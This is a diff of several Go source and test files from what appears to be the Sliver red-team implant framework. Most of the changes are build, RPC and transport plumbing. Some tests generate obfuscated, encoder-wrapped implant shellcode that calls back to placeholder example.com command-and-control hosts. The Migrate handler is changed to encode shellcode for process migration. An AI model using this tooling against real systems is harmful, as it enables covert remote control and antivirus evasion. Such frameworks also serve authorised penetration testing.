GOOS: "linux",
CGO: "1",
CC: "/tmp/zig cc -target x86_64-linux-musl",
}
ldflags, enabled := applyZigStaticLinking(cfg, "", []string{""})
if !enabled {
t.Fatalf("expected static linking to be enabled for linux zig cc executable build")
}
if len(ldflags) != 1 {
t.Fatalf("expected a single -ldflags string, got %d (%v)", len(ldflags), ldflags)
}
if !strings.Contains(ldflags[0], "-linkmode=external") {
t.Fatalf("expected -linkmode=external in ldflags, got %q", ldflags[0])
}
if !strings.Contains(ldflags[0], "-extldflags=-static") {
t.Fatalf("expected -extldflags=-static in ldflags, got %q", ldflags[0])
}
}
func TestApplyZigStaticLinking_NotLinux(t *testing.T) {
cfg := &gogo.GoConfig{
GOOS: "windows",
CGO: "1",
CC: "zig cc -target x86_64-windows-gnu",
}
ldflags, enabled := applyZigStaticLinking(cfg, "c-shared", []string{""})
if enabled {
t.Fatalf("did not expect static linking to be enabled on %s", cfg.GOOS)
}
if len(ldflags) != 1 || ldflags[0] != "" {
t.Fatalf("expected ldflags unchanged, got %v", ldflags)
}
}
func TestSanitizeZigForBuild_LinuxSharedObject(t *testing.T) {
t.Setenv("SLIVER_ROOT_DIR", "/tmp/sliver-test-root")
cfg := &gogo.GoConfig{
GOOS: "linux",
CGO: "1",
CC: "/tmp/zig cc -target x86_64-linux-musl -static",
CXX: "/tmp/zig c++ -target x86_64-linux-musl -static",
}
sanitizeZigForBuild(cfg, "c-shared")
if strings.Contains(cfg.CC, "-static") || strings.Contains(cfg.CXX, "-static") {
t.Fatalf("expected -static to be stripped for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
}
if strings.Contains(cfg.CC, "-linux-musl") || strings.Contains(cfg.CXX, "-linux-musl") {
t.Fatalf("expected linux-musl -> linux-gnu for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
}
if !strings.Contains(cfg.CC, "-linux-gnu") || !strings.Contains(cfg.CXX, "-linux-gnu") {
t.Fatalf("expected linux-gnu target for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
}
// We should also add a debug prefix map for the Sliver-managed zig root to
// avoid leaking absolute paths in DWARF.
if !strings.Contains(cfg.CC, "-fdebug-prefix-map=") {
t.Fatalf("expected -fdebug-prefix-map to be set, got CC=%q", cfg.CC)
}
}
func TestSanitizeZigForBuild_Windows(t *testing.T) {
t.Setenv("SLIVER_ROOT_DIR", "/tmp/sliver-test-root")
cfg := &gogo.GoConfig{
GOOS: "windows",
CGO: "1",
CC: "/tmp/zig cc -target x86_64-windows-gnu",
CXX: "/tmp/zig c++ -target x86_64-windows-gnu",
}
sanitizeZigForBuild(cfg, "c-shared")
if !strings.Contains(cfg.CC, "-fdebug-prefix-map=") {
t.Fatalf("expected -fdebug-prefix-map to be set for zig builds, got CC=%q", cfg.CC)
}
if !strings.Contains(cfg.CXX, "-fdebug-prefix-map=") {
t.Fatalf("expected -fdebug-prefix-map to be set for zig builds, got CXX=%q", cfg.CXX)
}
}
+188
View File
@@ -0,0 +1,188 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"os"
"runtime"
"testing"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
)
func TestSliverShellcodeWindows(t *testing.T) {
// Shared Library Shellcode
multiWindowsLibraryShellcode(t, true)
multiWindowsLibraryShellcode(t, false)
}
func multiWindowsLibraryShellcode(t *testing.T, debug bool) {
t.Logf("[multi] SHELLCODE windows/amd64 - debug: %v", debug)
name := fmt.Sprintf("multilibrary_shellcode_test%d", nonce)
config := &clientpb.ImplantConfig{
GOOS: "windows",
GOARCH: "amd64",
C2: []*clientpb.ImplantC2{
{URL: "mtls://1.example.com"},
{Priority: 2, URL: "mtls://2.example.com"},
{URL: "https://3.example.com"},
{URL: "dns://4.example.com", Options: "asdf"},
},
Debug: debug,
ObfuscateSymbols: true,
Format: clientpb.OutputFormat_SHELLCODE,
IsShellcode: true,
IsSharedLib: false,
Exports: []string{"FoobarW"},
IncludeMTLS: true,
IncludeHTTP: true,
IncludeDNS: true,
}
httpC2Config := configs.GenerateDefaultHTTPC2Config()
nonce++
build, _ := GenerateConfig(name, config)
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
defer cleanupGeneratedArtifacts(t, binPath)
// encode bin with sgn
bin, err := os.ReadFile(binPath)
if err != nil {
t.Fatalf("reading generated shared lib shellcode failed: %v", err)
}
_, err = sgn.EncodeShellcodeWithConfig(bin, sgn.SGNConfig{
Iterations: 1,
PlainDecoder: false,
Safe: true,
MaxObfuscation: 100,
})
if err != nil {
t.Fatalf("sgn encode failed: %v", err)
}
}
func TestSliverShellcodeLinux(t *testing.T) {
multiLinuxShellcode(t, "amd64", true)
multiLinuxShellcode(t, "amd64", false)
multiLinuxShellcode(t, "arm64", true)
multiLinuxShellcode(t, "arm64", false)
}
func multiLinuxShellcode(t *testing.T, goarch string, debug bool) {
t.Helper()
t.Logf("[multi] SHELLCODE linux/%s - debug: %v", goarch, debug)
name := fmt.Sprintf("multi_linux_shellcode_test%d", nonce)
config := &clientpb.ImplantConfig{
GOOS: "linux",
GOARCH: goarch,
C2: []*clientpb.ImplantC2{
{URL: "mtls://1.example.com"},
{Priority: 2, URL: "mtls://2.example.com"},
{URL: "https://3.example.com"},
{URL: "dns://4.example.com", Options: "asdf"},
},
Debug: debug,
ObfuscateSymbols: true,
Format: clientpb.OutputFormat_SHELLCODE,
IsShellcode: true,
IsSharedLib: false,
Exports: []string{"FoobarW"},
IncludeMTLS: true,
IncludeHTTP: true,
IncludeDNS: true,
}
httpC2Config := configs.GenerateDefaultHTTPC2Config()
nonce++
build, _ := GenerateConfig(name, config)
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
defer cleanupGeneratedArtifacts(t, binPath)
bin, err := os.ReadFile(binPath)
if err != nil {
t.Fatalf("reading generated linux shellcode failed: %v", err)
}
if len(bin) == 0 {
t.Fatalf("generated linux shellcode is empty")
}
}
func TestSliverShellcodeDarwin(t *testing.T) {
// darwin shellcode generation requires a native toolchain (no default zig/osxcross support).
if runtime.GOOS != "darwin" {
t.Skipf("Skipping darwin shellcode generation on %s", runtime.GOOS)
}
multiDarwinShellcode(t, true)
multiDarwinShellcode(t, false)
}
func multiDarwinShellcode(t *testing.T, debug bool) {
t.Helper()
t.Logf("[multi] SHELLCODE darwin/arm64 - debug: %v", debug)
name := fmt.Sprintf("multi_darwin_shellcode_test%d", nonce)
config := &clientpb.ImplantConfig{
GOOS: "darwin",
GOARCH: "arm64",
C2: []*clientpb.ImplantC2{
{URL: "mtls://1.example.com"},
{Priority: 2, URL: "mtls://2.example.com"},
{URL: "https://3.example.com"},
{URL: "dns://4.example.com", Options: "asdf"},
},
Debug: debug,
ObfuscateSymbols: true,
Format: clientpb.OutputFormat_SHELLCODE,
IsShellcode: true,
IsSharedLib: false,
Exports: []string{"FoobarW"},
IncludeMTLS: true,
IncludeHTTP: true,
IncludeDNS: true,
}
httpC2Config := configs.GenerateDefaultHTTPC2Config()
nonce++
build, _ := GenerateConfig(name, config)
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
defer cleanupGeneratedArtifacts(t, binPath)
bin, err := os.ReadFile(binPath)
if err != nil {
t.Fatalf("reading generated darwin shellcode failed: %v", err)
}
if len(bin) == 0 {
t.Fatalf("generated darwin shellcode is empty")
}
}
+76
View File
@@ -0,0 +1,76 @@
package rpc
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/log"
"github.com/gofrs/uuid"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
"gorm.io/gorm"
)
var (
crackCommandRpcLog = log.NamedLogger("rpc", "crack")
)
func (rpc *Server) Crack(ctx context.Context, req *clientpb.CrackCommand) (*clientpb.CrackResponse, error) {
if req == nil {
crackCommandRpcLog.Warn("Received empty crack command")
return &clientpb.CrackResponse{}, nil
}
crackCommandRpcLog.Infof(
"Crack request: attack=%s hashType=%s hashes=%d status=%t",
req.AttackMode.String(),
req.HashType.String(),
len(req.Hashes),
req.Status,
)
jobID, err := uuid.NewV4()
if err != nil {
crackCommandRpcLog.Errorf("Failed to generate crack job ID: %s", err)
return nil, status.Error(codes.Internal, "failed to generate crack job id")
}
job := &models.CrackJob{
ID: jobID,
}
command := models.CrackCommand{}.FromProtobuf(req)
command.CrackJobID = jobID
if err := db.Session().Transaction(func(tx *gorm.DB) error {
if err := tx.Create(job).Error; err != nil {
return err
}
return tx.Create(command).Error
}); err != nil {
crackCommandRpcLog.Errorf("Failed to save crack job: %s", err)
return nil, status.Error(codes.Internal, "failed to save crack job")
}
job.Command = *command
return &clientpb.CrackResponse{Job: job.ToProtobuf()}, nil
}
+31 -4
View File
@@ -40,6 +40,7 @@ import (
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
"google.golang.org/protobuf/proto"
"gorm.io/gorm"
)
var (
@@ -112,16 +113,37 @@ func (rpc *Server) CrackstationBenchmark(ctx context.Context, req *clientpb.Crac
crackRpcLog.Errorf("Failed to get crackstation by host UUID: %s", err)
return nil, status.Errorf(codes.NotFound, "Failed to find crackstation by host UUID")
}
crackstation.Benchmarks = []models.Benchmark{}
benchmarks := make([]models.Benchmark, 0, len(req.Benchmarks))
for hashType, speed := range req.Benchmarks {
crackstation.Benchmarks = append(crackstation.Benchmarks, models.Benchmark{HashType: hashType, PerSecondRate: speed})
benchmarks = append(benchmarks, models.Benchmark{
CrackstationID: crackstation.ID,
HashType: hashType,
PerSecondRate: speed,
})
}
dbSession := db.Session()
err = dbSession.Save(&crackstation).Error
err = dbSession.Transaction(func(tx *gorm.DB) error {
if err := tx.Where("crackstation_id = ?", crackstation.ID).Delete(&models.Benchmark{}).Error; err != nil {
return err
}
if len(benchmarks) == 0 {
return nil
}
return tx.Create(&benchmarks).Error
})
if err != nil {
crackRpcLog.Errorf("Failed to save crackstation benchmarks: %s", err)
return nil, status.Errorf(codes.Internal, "Failed to save crackstation benchmarks")
}
crackStation := core.GetCrackstation(req.HostUUID)
if crackStation != nil {
crackStation.Station.Benchmarks = map[int32]uint64{}
for hashType, speed := range req.Benchmarks {
crackStation.Station.Benchmarks[hashType] = speed
}
}
return &commonpb.Empty{}, nil
}
@@ -161,7 +183,12 @@ func (rpc *Server) CrackstationRegister(req *clientpb.Crackstation, stream rpcpb
if len(dbCrackstation.Benchmarks) == 0 {
crackRpcLog.Infof("No benchmark information for '%s', requesting benchmark...", req.Name)
err = stream.Send(&clientpb.Event{EventType: consts.CrackBenchmark, Data: []byte{}})
taskID, err := uuid.NewV4()
if err != nil {
crackRpcLog.Errorf("Failed to generate benchmark task ID: %s", err)
return status.Error(codes.Internal, "failed to create benchmark task")
}
err = stream.Send(&clientpb.Event{EventType: consts.CrackBenchmark, Data: taskID.Bytes()})
if err != nil {
crackRpcLog.Errorf("Failed to send benchmark task to crackstation: %s", err)
return status.Error(codes.Internal, "failed to send benchmark task")
+36
View File
@@ -0,0 +1,36 @@
package rpc
/*
Sliver Implant Framework
Copyright (C) 2020 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// ExecuteChildren - List tracked background execute child processes
func (rpc *Server) ExecuteChildren(ctx context.Context, req *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
resp := &sliverpb.ExecuteChildren{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
+2
View File
@@ -147,6 +147,8 @@ func normalizeShellcodeArch(arch string) string {
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
+33 -13
View File
@@ -36,9 +36,9 @@ import (
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
shellcodeencoders "github.com/bishopfox/sliver/server/encoders/shellcode"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
"github.com/bishopfox/sliver/util"
"google.golang.org/grpc/codes"
@@ -61,7 +61,7 @@ func (rpc *Server) Task(ctx context.Context, req *sliverpb.TaskReq) (*sliverpb.T
// Migrate - Migrate to a new process on the remote system (Windows only)
func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliverpb.Migrate, error) {
var shellcode []byte
var sc []byte
var session *core.Session
var beacon *clientpb.Beacon
var dbBeacon *models.Beacon
@@ -85,7 +85,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
}
name := filepath.Base(req.Name)
shellcode, arch, err := getSliverShellcode(name)
sc, arch, err := getSliverShellcode(name)
if err != nil {
config := req.Config
if req.Name == "" {
@@ -119,7 +119,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
if err != nil {
return nil, rpcError(err)
}
shellcode, _ = os.ReadFile(shellcodePath)
sc, _ = os.ReadFile(shellcodePath)
// Save the implant config in the database so that the server recognizes it when it tries to connect
config.ID = ""
savedConfig, err := db.SaveImplantConfig(config)
@@ -140,23 +140,43 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
}
if len(shellcode) < 1 {
if len(sc) < 1 {
return nil, status.Error(codes.OutOfRange, "shellcode is zero bytes")
}
switch req.Encoder {
case clientpb.ShellcodeEncoder_SHIKATA_GA_NAI:
shellcode, err = sgn.EncodeShellcode(shellcode, arch, 1, []byte{})
if err != nil {
return nil, rpcError(err)
if req.Encoder != clientpb.ShellcodeEncoder_NONE {
encoderName, ok := shellcodeEncoderNames[req.Encoder]
if !ok {
return nil, status.Error(codes.InvalidArgument, "Unknown encoder")
}
normalizedArch := normalizeShellcodeArch(arch)
if normalizedArch == "" {
return nil, status.Error(codes.InvalidArgument, "Unknown architecture")
}
encoderArchs := shellcodeencoders.ShellcodeEncoders[normalizedArch]
if encoderArchs == nil {
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("Unknown architecture: %s", normalizedArch))
}
encoder := encoderArchs[encoderName]
if encoder == nil {
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("Encoder %s not supported for architecture %s", encoderName, normalizedArch))
}
encoded, err := encoder.Encode(sc, shellcodeencoders.ShellcodeEncoderArgs{
Iterations: 1,
BadChars: []byte{},
})
if err != nil {
return nil, status.Error(codes.Internal, fmt.Sprintf("Failed to encode shellcode (%s)", err))
}
sc = encoded
}
migrateReq := &sliverpb.InvokeMigrateReq{
Request: req.Request,
Data: shellcode,
Data: sc,
Pid: req.Pid,
ProcName: req.ProcName,
}
@@ -373,7 +393,7 @@ func getSliverShellcode(name string) ([]byte, string, error) {
if err != nil {
return []byte{}, "", err
}
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false, config.DonutConfig)
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false, config.ShellcodeConfig)
if err != nil {
rpcLog.Errorf("DonutShellcodeFromPE error: %v\n", err)
return []byte{}, "", err
+50
View File
@@ -0,0 +1,50 @@
package transport
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"time"
"google.golang.org/grpc"
"google.golang.org/grpc/keepalive"
)
func grpcKeepaliveOptions() []grpc.ServerOption {
if serverConfig == nil || serverConfig.GRPC == nil || serverConfig.GRPC.Keepalive == nil {
return nil
}
minTimeSeconds := serverConfig.GRPC.Keepalive.MinTimeSeconds
if minTimeSeconds <= 0 {
return nil
}
permitWithoutStream := true
if serverConfig.GRPC.Keepalive.PermitWithoutStream != nil {
permitWithoutStream = *serverConfig.GRPC.Keepalive.PermitWithoutStream
}
policy := keepalive.EnforcementPolicy{
MinTime: time.Duration(minTimeSeconds) * time.Second,
PermitWithoutStream: permitWithoutStream,
}
return []grpc.ServerOption{
grpc.KeepaliveEnforcementPolicy(policy),
}
}
+1
View File
@@ -43,6 +43,7 @@ func LocalListener() (*grpc.Server, *bufconn.Listener, error) {
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
grpc.MaxSendMsgSize(ServerMaxMessageSize),
}
options = append(options, grpcKeepaliveOptions()...)
options = append(options, initMiddleware(false)...)
grpcServer := grpc.NewServer(options...)
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
+1
View File
@@ -64,6 +64,7 @@ func StartMtlsClientListener(host string, port uint16) (*grpc.Server, net.Listen
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
grpc.MaxSendMsgSize(ServerMaxMessageSize),
}
options = append(options, grpcKeepaliveOptions()...)
options = append(options, initMiddleware(true)...)
grpcServer := grpc.NewServer(options...)
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
+1
View File
@@ -81,6 +81,7 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
grpc.MaxSendMsgSize(ServerMaxMessageSize),
}
options = append(options, grpcKeepaliveOptions()...)
options = append(options, initMiddleware(true)...)
grpcServer := grpc.NewServer(options...)
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
+23
View File
@@ -0,0 +1,23 @@
# Compiled Object files, Static and Dynamic libs (Shared Objects)
*.o
*.a
*.so
# Folders
_obj
_test
# Architecture specific extensions/prefixes
*.[568vq]
[568vq].out
*.cgo1.go
*.cgo2.c
_cgo_defun.c
_cgo_gotypes.go
_cgo_export.*
_testmain.go
*.exe
*.test
-243
View File
@@ -1,243 +0,0 @@
package yamux
import (
"fmt"
"io"
"testing"
)
func BenchmarkPing(b *testing.B) {
client, _ := testClientServer(b)
b.ReportAllocs()
b.ResetTimer()
for i := 0; i < b.N; i++ {
rtt, err := client.Ping()
if err != nil {
b.Fatalf("err: %v", err)
}
if rtt == 0 {
b.Fatalf("bad: %v", rtt)
}
}
}
func BenchmarkAccept(b *testing.B) {
client, server := testClientServer(b)
doneCh := make(chan struct{})
b.ReportAllocs()
b.ResetTimer()
go func() {
defer close(doneCh)
for i := 0; i < b.N; i++ {
stream, err := server.AcceptStream()
if err != nil {
return
}
stream.Close()
}
}()
for i := 0; i < b.N; i++ {
stream, err := client.Open()
if err != nil {
b.Fatalf("err: %v", err)
}
stream.Close()
}
<-doneCh
}
func BenchmarkSendRecv32(b *testing.B) {
const payloadSize = 32
benchmarkSendRecv(b, payloadSize, payloadSize)
}
func BenchmarkSendRecv64(b *testing.B) {
const payloadSize = 64
benchmarkSendRecv(b, payloadSize, payloadSize)
}
func BenchmarkSendRecv128(b *testing.B) {
const payloadSize = 128
benchmarkSendRecv(b, payloadSize, payloadSize)
}
func BenchmarkSendRecv256(b *testing.B) {
const payloadSize = 256
benchmarkSendRecv(b, payloadSize, payloadSize)
}
func BenchmarkSendRecv512(b *testing.B) {
const payloadSize = 512
benchmarkSendRecv(b, payloadSize, payloadSize)
}
func BenchmarkSendRecv1024(b *testing.B) {
const payloadSize = 1024
benchmarkSendRecv(b, payloadSize, payloadSize)
}
func BenchmarkSendRecv2048(b *testing.B) {
const payloadSize = 2048
benchmarkSendRecv(b, payloadSize, payloadSize)
}
func BenchmarkSendRecv4096(b *testing.B) {
const payloadSize = 4096
benchmarkSendRecv(b, payloadSize, payloadSize)
}
func BenchmarkSendRecvLarge(b *testing.B) {
const sendSize = 512 * 1024 * 1024 //512 MB
const recvSize = 4 * 1024 //4 KB
benchmarkSendRecv(b, sendSize, recvSize)
}
func benchmarkSendRecv(b *testing.B, sendSize, recvSize int) {
client, server := testClientServer(b)
sendBuf := make([]byte, sendSize)
recvBuf := make([]byte, recvSize)
errCh := make(chan error, 1)
b.SetBytes(int64(sendSize))
b.ReportAllocs()
b.ResetTimer()
go func() {
stream, err := server.AcceptStream()
if err != nil {
errCh <- err
return
}
defer stream.Close()
switch {
case sendSize == recvSize:
for i := 0; i < b.N; i++ {
if _, err := stream.Read(recvBuf); err != nil {
errCh <- err
return
}
}
case recvSize > sendSize:
errCh <- fmt.Errorf("bad test case; recvSize was: %d and sendSize was: %d, but recvSize must be <= sendSize!", recvSize, sendSize)
return
default:
chunks := sendSize / recvSize
for i := 0; i < b.N; i++ {
for j := 0; j < chunks; j++ {
if _, err := stream.Read(recvBuf); err != nil {
errCh <- err
return
}
}
}
}
errCh <- nil
}()
stream, err := client.Open()
if err != nil {
b.Fatalf("err: %v", err)
}
defer stream.Close()
for i := 0; i < b.N; i++ {
if _, err := stream.Write(sendBuf); err != nil {
b.Fatalf("err: %v", err)
}
}
drainErrorsUntil(b, errCh, 1, 0, "")
}
func BenchmarkSendRecvParallel32(b *testing.B) {
const payloadSize = 32
benchmarkSendRecvParallel(b, payloadSize)
}
func BenchmarkSendRecvParallel64(b *testing.B) {
const payloadSize = 64
benchmarkSendRecvParallel(b, payloadSize)
}
func BenchmarkSendRecvParallel128(b *testing.B) {
const payloadSize = 128
benchmarkSendRecvParallel(b, payloadSize)
}
func BenchmarkSendRecvParallel256(b *testing.B) {
const payloadSize = 256
benchmarkSendRecvParallel(b, payloadSize)
}
func BenchmarkSendRecvParallel512(b *testing.B) {
const payloadSize = 512
benchmarkSendRecvParallel(b, payloadSize)
}
func BenchmarkSendRecvParallel1024(b *testing.B) {
const payloadSize = 1024
benchmarkSendRecvParallel(b, payloadSize)
}
func BenchmarkSendRecvParallel2048(b *testing.B) {
const payloadSize = 2048
benchmarkSendRecvParallel(b, payloadSize)
}
func BenchmarkSendRecvParallel4096(b *testing.B) {
const payloadSize = 4096
benchmarkSendRecvParallel(b, payloadSize)
}
func benchmarkSendRecvParallel(b *testing.B, sendSize int) {
client, server := testClientServer(b)
sendBuf := make([]byte, sendSize)
discarder := io.Discard.(io.ReaderFrom)
b.SetBytes(int64(sendSize))
b.ReportAllocs()
b.ResetTimer()
b.RunParallel(func(pb *testing.PB) {
errCh := make(chan error, 1)
go func() {
stream, err := server.AcceptStream()
if err != nil {
errCh <- err
return
}
defer stream.Close()
if _, err := discarder.ReadFrom(stream); err != nil {
errCh <- err
return
}
errCh <- nil
}()
stream, err := client.Open()
if err != nil {
b.Fatalf("err: %v", err)
}
for pb.Next() {
if _, err := stream.Write(sendBuf); err != nil {
b.Fatalf("err: %v", err)
}
}
stream.Close()
drainErrorsUntil(b, errCh, 1, 0, "")
})
}
-72
View File
@@ -1,72 +0,0 @@
package yamux
import (
"testing"
)
func TestConst(t *testing.T) {
if protoVersion != 0 {
t.Fatalf("bad: %v", protoVersion)
}
if typeData != 0 {
t.Fatalf("bad: %v", typeData)
}
if typeWindowUpdate != 1 {
t.Fatalf("bad: %v", typeWindowUpdate)
}
if typePing != 2 {
t.Fatalf("bad: %v", typePing)
}
if typeGoAway != 3 {
t.Fatalf("bad: %v", typeGoAway)
}
if flagSYN != 1 {
t.Fatalf("bad: %v", flagSYN)
}
if flagACK != 2 {
t.Fatalf("bad: %v", flagACK)
}
if flagFIN != 4 {
t.Fatalf("bad: %v", flagFIN)
}
if flagRST != 8 {
t.Fatalf("bad: %v", flagRST)
}
if goAwayNormal != 0 {
t.Fatalf("bad: %v", goAwayNormal)
}
if goAwayProtoErr != 1 {
t.Fatalf("bad: %v", goAwayProtoErr)
}
if goAwayInternalErr != 2 {
t.Fatalf("bad: %v", goAwayInternalErr)
}
if headerSize != 12 {
t.Fatalf("bad header size")
}
}
func TestEncodeDecode(t *testing.T) {
hdr := header(make([]byte, headerSize))
hdr.encode(typeWindowUpdate, flagACK|flagRST, 1234, 4321)
if hdr.Version() != protoVersion {
t.Fatalf("bad: %v", hdr)
}
if hdr.MsgType() != typeWindowUpdate {
t.Fatalf("bad: %v", hdr)
}
if hdr.Flags() != flagACK|flagRST {
t.Fatalf("bad: %v", hdr)
}
if hdr.StreamID() != 1234 {
t.Fatalf("bad: %v", hdr)
}
if hdr.Length() != 4321 {
t.Fatalf("bad: %v", hdr)
}
}
Loaded 100 of 133 files, more files were not shown because too many files have changed in this diff. Show more